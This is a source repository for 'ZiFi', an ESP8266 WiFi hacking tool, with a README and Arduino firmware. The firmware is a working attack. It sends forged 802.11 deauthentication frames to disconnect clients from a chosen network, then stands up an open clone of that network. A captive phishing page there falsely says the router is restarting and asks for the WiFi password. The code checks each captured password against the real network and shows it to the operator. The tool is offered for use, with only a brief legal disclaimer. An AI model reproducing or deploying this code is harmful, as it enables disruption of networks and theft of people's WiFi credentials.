├── Images
    ├── .gitkeep
    ├── ZiFi.png
    └── ZiFi_yt.PNG
├── LICENSE
├── README.md
└── esp8266-deauth-eviltwin
    ├── esp8266-deauth-eviltwin.ino
    └── essp_eviltwin.ino.nodemcu.bin


/Images/.gitkeep:
--------------------------------------------------------------------------------
1 | 
2 | 


--------------------------------------------------------------------------------
/Images/ZiFi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sankethj/ZiFi/4e95406d53c45737af10fe22fe4fb864e2b84e6c/Images/ZiFi.png


--------------------------------------------------------------------------------
/Images/ZiFi_yt.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sankethj/ZiFi/4e95406d53c45737af10fe22fe4fb864e2b84e6c/Images/ZiFi_yt.PNG


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2022 Z4N
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # ZiFi
 2 | Wifi hacking tool using ESP8266 ( Evil-Twin method )
 3 | 
 4 | <p align="center">
 5 | <a href="https://github.com/sankethj/z-cam/"><img title="Tool" src="https://img.shields.io/badge/Tool-ZiFi-blue.svg?style=for-the-badge"></a>
 6 | <a><img title="Version" src="https://img.shields.io/badge/Version-1.0-blue.svg?style=for-the-badge"></a>
 7 | <a><img title="Maintainence" src="https://img.shields.io/badge/Maintenance-Yes-blue.svg?style=for-the-badge"></a>
 8 | </p>
 9 | 
10 | ![logo](/Images/ZiFi.png)
11 | 
12 | ## FEATURES :
13 | * [+] Deauth
14 | * [+] Evil-Twin
15 | * [+] User Interface
16 | 
17 | ## TESTED ON :
18 | * Nodemcu
19 | * Probably will work in all-other boards too...
20 | 
21 | ## INSTALLATION :
22 | * Install [Arduino IDE](https://www.arduino.cc/en/software)
23 | * Add Esp8266 in Additional Board Manager `http://arduino.esp8266.com/stable/package_esp8266com_index.json`
24 | * Esp8266 board  [NODEMCU](https://www.amazon.in/dp/B010O1G1ES/ref=cm_sw_r_apan_glt_i_MAFEQVVXSRR69JXNYFA3)
25 | * Install your board, choose correct Port.
26 | * Compile and Upload.
27 | * For detailed explanation check on [blogger](https://zansecurity.blogspot.com/2022/02/hacking-wifi-using-esp8266-deauth-and.html)
28 | 
29 | ## CONCEPT :
30 | * Connect to the Access Point named `ZiFi` with password `Eviltwin` from your device.
31 | * Select the target you want (list of available APs refreshes every 15secs - page reload is required).
32 | * Select The Attack Mode. If you choose Deauth it will start deauthing the clients in that network.
33 | * Then Start Evil-twin attack, which will create the clone of the selected network.
34 | * The web interface will be unavailable during Evil-twin attack mode, You need to reconnect.
35 | * Reconnect after some time, it will display you the correct password in Result section.
36 | * For detailed explanation check on [blogger](https://zansecurity.blogspot.com/2022/02/hacking-wifi-using-esp8266-deauth-and.html)
37 | 
38 | 
39 | ## DEMONSTRATION VIDEO:
40 | [![YOUTUBE](/Images/ZiFi_yt.PNG)](https://youtu.be/pwSO3hhf1vA)
41 | 
42 | ## CONTACT :
43 | [![Telegram](https://img.shields.io/badge/TELEGRAM-Team_ETF-blue?style=for-the-badge&logo=telegram)](https://t.me/Team_ETF)
44 | [![Twitter](https://img.shields.io/badge/TWITTER-SANKETH-blue?style=for-the-badge&logo=twitter)](https://twitter.com/SankethZ4N)
45 | <a href="https://www.youtube.com/channel/UCJnx0yDhcTLWM3ZrAtSvaIw"><img title="YouTube" src="https://img.shields.io/badge/YouTube-Team ETF-blue?style=for-the-badge&logo=Youtube"></a>
46 | 
47 | ## CREDITS :
48 | * [M1z23R](https://github.com/M1z23R)  --> MODIFIED VERSION OF HIS SCRIPT
49 | * [Spacehuhn Technologies](https://github.com/SpacehuhnTech)   --> TEMPLATE
50 | * [125K](https://github.com/125K)     --> TEMPLATE
51 | 
52 | ## WARNING :
53 | Use it only against your own networks and devices!
54 | Please check the legal regulations in your country before using it.
55 | We don't take any responsibility for what you do with this program.
56 | 
57 | ## DONATIONS :
58 | - We don't ask much, if possible feed stray animals in your free time. 
59 | 


--------------------------------------------------------------------------------
/esp8266-deauth-eviltwin/esp8266-deauth-eviltwin.ino:
--------------------------------------------------------------------------------
  1 | #include <ESP8266WiFi.h>
  2 | #include <DNSServer.h>
  3 | #include <ESP8266WebServer.h>
  4 | 
  5 | #define SUBTITLE "Validation Panel"
  6 | #define TITLE "Sign in:"
  7 | #define BODY "Due to internal problems router is being restarted. Enter password to re-connect to the network."
  8 | #define POST_TITLE "Validating..."
  9 | #define POST_BODY "Your account is being validated. Please, wait up to 1 minute for device connection.</br>Thank you."
 10 | 
 11 | typedef struct
 12 | {
 13 |   String ssid;
 14 |   uint8_t ch;
 15 |   uint8_t bssid[6];
 16 | }  _Network;
 17 | 
 18 | 
 19 | const byte DNS_PORT = 53;
 20 | IPAddress apIP(192, 168, 1, 1);
 21 | DNSServer dnsServer;
 22 | ESP8266WebServer webServer(80);
 23 | 
 24 | _Network _networks[16];
 25 | _Network _selectedNetwork;
 26 | 
 27 | void clearArray() {
 28 |   for (int i = 0; i < 16; i++) {
 29 |     _Network _network;
 30 |     _networks[i] = _network;
 31 |   }
 32 | 
 33 | }
 34 | 
 35 | String _correct = "";
 36 | String _tryPassword = "";
 37 | 
 38 | 
 39 | String header(String t) {
 40 |   String a = String(_selectedNetwork.ssid);
 41 |   String CSS = "article { background: #f2f2f2; padding: 1.3em; }" 
 42 |     "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
 43 |     "div { padding: 0.5em; }"
 44 |     "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
 45 |     "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }"
 46 |     "label { color: #333; display: block; font-style: italic; font-weight: bold; }"
 47 |     "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
 48 |     "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
 49 |     "textarea { width: 100%; }";
 50 |   String h = "<!DOCTYPE html><html>"
 51 |     "<head><title>"+a+" :: "+t+"</title>"
 52 |     "<meta name=viewport content=\"width=device-width,initial-scale=1\">"
 53 |     "<style>"+CSS+"</style></head>"
 54 |     "<body><nav><b>"+a+"</b> "+SUBTITLE+"</nav><div><h1>"+t+"</h1></div><div>";
 55 |   return h; }
 56 | 
 57 | String index() {
 58 |   return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action='/' >" +
 59 |     "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer();
 60 | }
 61 | 
 62 | String posted() {
 63 |   return header(POST_TITLE) + POST_BODY + "<script> setTimeout(function(){window.location.href = '/result';}, 15000); </script>" + footer();
 64 | }
 65 | 
 66 | String footer() { 
 67 |   return "</div><div class=q><a>&#169; All rights reserved.</a></div>";
 68 | }
 69 | 
 70 | void setup() {
 71 | 
 72 |   Serial.begin(115200);
 73 |   WiFi.mode(WIFI_AP_STA);
 74 |   wifi_promiscuous_enable(1);
 75 |   WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
 76 |   WiFi.softAP("ZiFi", "Eviltwin");
 77 |   dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
 78 | 
 79 |   webServer.on("/", handleIndex);
 80 |   webServer.on("/result", handleResult);
 81 |   webServer.onNotFound(handleIndex);
 82 |   webServer.begin();
 83 | }
 84 | void performScan() {
 85 |   int n = WiFi.scanNetworks();
 86 |   clearArray();
 87 |   if (n >= 0) {
 88 |     for (int i = 0; i < n && i < 16; ++i) {
 89 |       _Network network;
 90 |       network.ssid = WiFi.SSID(i);
 91 |       for (int j = 0; j < 6; j++) {
 92 |         network.bssid[j] = WiFi.BSSID(i)[j];
 93 |       }
 94 | 
 95 |       network.ch = WiFi.channel(i);
 96 |       _networks[i] = network;
 97 |     }
 98 |   }
 99 | }
100 | 
101 | bool hotspot_active = false;
102 | bool deauthing_active = false;
103 | 
104 | void handleResult() {
105 |   String html = "";
106 |   if (WiFi.status() != WL_CONNECTED) {
107 |     webServer.send(200, "text/html", "<html><head><script> setTimeout(function(){window.location.href = '/';}, 3000); </script><meta name='viewport' content='initial-scale=1.0, width=device-width'><body><h2>Wrong Password</h2><p>Please, try again.</p></body> </html>");
108 |     Serial.println("Wrong password tried !");
109 |   } else {
110 |     webServer.send(200, "text/html", "<html><head><meta name='viewport' content='initial-scale=1.0, width=device-width'><body><h2>Good password</h2></body> </html>");
111 |     hotspot_active = false;
112 |     dnsServer.stop();
113 |     int n = WiFi.softAPdisconnect (true);
114 |     Serial.println(String(n));
115 |     WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
116 |     WiFi.softAP("ZiFi", "Eviltwin");
117 |     dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
118 |     _correct = "Successfully got password for: " + _selectedNetwork.ssid + " Password: " + _tryPassword;
119 |     Serial.println("Good password was entered !");
120 |     Serial.println(_correct);
121 |   }
122 | }
123 | 
124 | char _tempHTML[] PROGMEM = R"=====(
125 | <html>
126 |     <head>
127 |         <meta name='viewport' content='initial-scale=1.0, width=device-width'>
128 |         <title>WiFi Hacker</title>
129 |         <style>
130 |             body {
131 |                 background: #1a1a1a;
132 |                 color: #bfbfbf;
133 |                 font-family: sans-serif;
134 |                 margin: 0;
135 |             }
136 |             .content {max-width: 800px;margin: auto;}
137 |             table {border-collapse: collapse;}
138 |             th, td {
139 |                 padding: 10px 6px;
140 |                 text-align: left;
141 |                 border-style:solid;
142 |                 border-color: orange;
143 |             }
144 |             button {
145 |                 display: inline-block;
146 |                 height: 38px;
147 |                 padding: 0 20px;
148 |                 color:#fff;
149 |                 text-align: center;
150 |                 font-size: 11px;
151 |                 font-weight: 600;
152 |                 line-height: 38px;
153 |                 letter-spacing: .1rem;
154 |                 text-transform: uppercase;
155 |                 text-decoration: none;
156 |                 white-space: nowrap;
157 |                 background: #2f3136;
158 |                 border-radius: 4px;
159 |                 border: none;
160 |                 cursor: pointer;
161 |                 box-sizing: border-box;
162 |             }
163 |             button:hover {
164 |                 background: #42444a;
165 |             }
166 |             h1 {
167 |                 font-size: 1.7rem;
168 |                 margin-top: 1rem;
169 |                 background: #2f3136;
170 |                 color: #bfbfbb;
171 |                 padding: 0.2em 1em;
172 |                 border-radius: 3px;
173 |                 border-left: solid #20c20e 5px;
174 |                 font-weight: 100;
175 |             }
176 |         </style>
177 |     </head>
178 |     <body>
179 |         <div class='content'>
180 |         <p>
181 |             <h1 style="border: solid #20c20e 3px; padding: 0.2em 0.2em; text-align: center; font-size: 2.5rem;">ZiFi</h1>
182 |             <span style="color: #F04747;">INFO: </span><br>
183 |             <span>
184 |                 - This tool will scan the network automatically for every 15 seconds. Or You can just refresh the page to scan again.<br>
185 |                 - Please select only one target!<br>
186 |                 - Next click on deauth attack, then after some time clients on that network will get starting disconnecting.<BR>
187 |                 - Now perform Evil-Twin attack, which will create the clone of the selected network.<br>
188 |                 - The web interface will be unavailable during Evil-twin attack mode, You need to reconnect.<br>
189 |                 - Reconnect after some time, it will display you the correct password in Result section.<br><br>
190 |                 Special Credits: spacehuhntech, M1z23R, 125K
191 |             </span>
192 |         </p><br><hr><br>
193 |         <h1>Attack Mode</h1>
194 |         <div><form style='display:inline-block;' method='post' action='/?deauth={deauth}'>
195 |         <button style='display:inline-block;'{disabled}>{deauth_button}</button></form>
196 |         <form style='display:inline-block; padding-left:8px;' method='post' action='/?hotspot={hotspot}'>
197 |         <button style='display:inline-block;'{disabled}>{hotspot_button}</button></form>
198 |         </div><br><hr><br>
199 |         <h1>Attack Panel</h1>
200 |         <table>
201 |             <tr><th>SSID</th><th>BSSID</th><th>Channel</th><th>Select</th></tr>
202 | )=====";
203 | 
204 | void handleIndex() {
205 | 
206 |   if (webServer.hasArg("ap")) {
207 |     for (int i = 0; i < 16; i++) {
208 |       if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) {
209 |         _selectedNetwork = _networks[i];
210 |       }
211 |     }
212 |   }
213 | 
214 |   if (webServer.hasArg("deauth")) {
215 |     if (webServer.arg("deauth") == "start") {
216 |       deauthing_active = true;
217 |     } else if (webServer.arg("deauth") == "stop") {
218 |       deauthing_active = false;
219 |     }
220 |   }
221 | 
222 |   if (webServer.hasArg("hotspot")) {
223 |     if (webServer.arg("hotspot") == "start") {
224 |       hotspot_active = true;
225 | 
226 |       dnsServer.stop();
227 |       int n = WiFi.softAPdisconnect (true);
228 |       Serial.println(String(n));
229 |       WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
230 |       WiFi.softAP(_selectedNetwork.ssid.c_str());
231 |       dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
232 | 
233 |     } else if (webServer.arg("hotspot") == "stop") {
234 |       hotspot_active = false;
235 |       dnsServer.stop();
236 |       int n = WiFi.softAPdisconnect (true);
237 |       Serial.println(String(n));
238 |       WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0));
239 |       WiFi.softAP("M1z23R", "deauther");
240 |       dnsServer.start(53, "*", IPAddress(192, 168, 4, 1));
241 |     }
242 |     return;
243 |   }
244 | 
245 |   if (hotspot_active == false) {
246 |     String _html = _tempHTML;
247 | 
248 |     for (int i = 0; i < 16; ++i) {
249 |       if ( _networks[i].ssid == "") {
250 |         break;
251 |       }
252 |       _html += "<tr><td>" + _networks[i].ssid + "</td><td>" + bytesToStr(_networks[i].bssid, 6) + "</td><td>" + String(_networks[i].ch) + "<td><form method='post' action='/?ap=" + bytesToStr(_networks[i].bssid, 6) + "'>";
253 | 
254 |       if (bytesToStr(_selectedNetwork.bssid, 6) == bytesToStr(_networks[i].bssid, 6)) {
255 |         _html += "<button style='background-color: #20c20e; color:black;'>Selected</button></form></td></tr>";
256 |       } else {
257 |         _html += "<button>Select</button></form></td></tr>";
258 |       }
259 |     }
260 | 
261 |     if (deauthing_active) {
262 |       _html.replace("{deauth_button}", "Stop Deauth");
263 |       _html.replace("{deauth}", "stop");
264 |     } else {
265 |       _html.replace("{deauth_button}", "Start Deauth");
266 |       _html.replace("{deauth}", "start");
267 |     }
268 | 
269 |     if (hotspot_active) {
270 |       _html.replace("{hotspot_button}", "Stop Evil-Twin");
271 |       _html.replace("{hotspot}", "stop");
272 |     } else {
273 |       _html.replace("{hotspot_button}", "Start Evil-Twin");
274 |       _html.replace("{hotspot}", "start");
275 |     }
276 | 
277 | 
278 |     if (_selectedNetwork.ssid == "") {
279 |       _html.replace("{disabled}", " disabled");
280 |     } else {
281 |       _html.replace("{disabled}", "");
282 |     }
283 | 
284 |     _html += "</table><br><hr><br>";
285 | 
286 |     if (_correct != "") {
287 |       _html += "<h1>Results</h1></br><h3>" + _correct + "</h3>";
288 |     }
289 | 
290 |     _html += "</div></body></html>";
291 |     webServer.send(200, "text/html", _html);
292 | 
293 |   } else {
294 | 
295 |     if (webServer.hasArg("password")) {
296 |       _tryPassword = webServer.arg("password");
297 |       WiFi.disconnect();
298 |       WiFi.begin(_selectedNetwork.ssid.c_str(), webServer.arg("password").c_str(), _selectedNetwork.ch, _selectedNetwork.bssid);
299 |       webServer.send(200, "text/html", posted());
300 |     } else {
301 |       webServer.send(200, "text/html", index());
302 |     }
303 |   }
304 | 
305 | }
306 | 
307 | String bytesToStr(const uint8_t* b, uint32_t size) {
308 |   String str;
309 |   const char ZERO = '0';
310 |   const char DOUBLEPOINT = ':';
311 |   for (uint32_t i = 0; i < size; i++) {
312 |     if (b[i] < 0x10) str += ZERO;
313 |     str += String(b[i], HEX);
314 | 
315 |     if (i < size - 1) str += DOUBLEPOINT;
316 |   }
317 |   return str;
318 | }
319 | 
320 | unsigned long now = 0;
321 | unsigned long wifinow = 0;
322 | unsigned long deauth_now = 0;
323 | 
324 | uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
325 | uint8_t wifi_channel = 1;
326 | 
327 | void loop() {
328 |   dnsServer.processNextRequest();
329 |   webServer.handleClient();
330 | 
331 |   if (deauthing_active && millis() - deauth_now >= 1000) {
332 | 
333 |     wifi_set_channel(_selectedNetwork.ch);
334 | 
335 |     uint8_t deauthPacket[26] = {0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x00, 0x00, 0x01, 0x00};
336 |     
337 |     memcpy(&deauthPacket[10], _selectedNetwork.bssid, 6);
338 |     memcpy(&deauthPacket[16], _selectedNetwork.bssid, 6);
339 |     deauthPacket[24] = 1;
340 | 
341 |     Serial.println(bytesToStr(deauthPacket, 26));
342 |     deauthPacket[0] = 0xC0;
343 |     Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0));
344 |     Serial.println(bytesToStr(deauthPacket, 26));
345 |     deauthPacket[0] = 0xA0;
346 |     Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0));
347 | 
348 |     deauth_now = millis();
349 |   }
350 | 
351 |   if (millis() - now >= 15000) {
352 |     performScan();
353 |     now = millis();
354 |   }
355 | 
356 |   if (millis() - wifinow >= 2000) {
357 |     if (WiFi.status() != WL_CONNECTED) {
358 |       Serial.println("BAD");
359 |     } else {
360 |       Serial.println("GOOD");
361 |     }
362 |     wifinow = millis();
363 |   }
364 | }
365 | 


--------------------------------------------------------------------------------
/esp8266-deauth-eviltwin/essp_eviltwin.ino.nodemcu.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sankethj/ZiFi/4e95406d53c45737af10fe22fe4fb864e2b84e6c/esp8266-deauth-eviltwin/essp_eviltwin.ino.nodemcu.bin


--------------------------------------------------------------------------------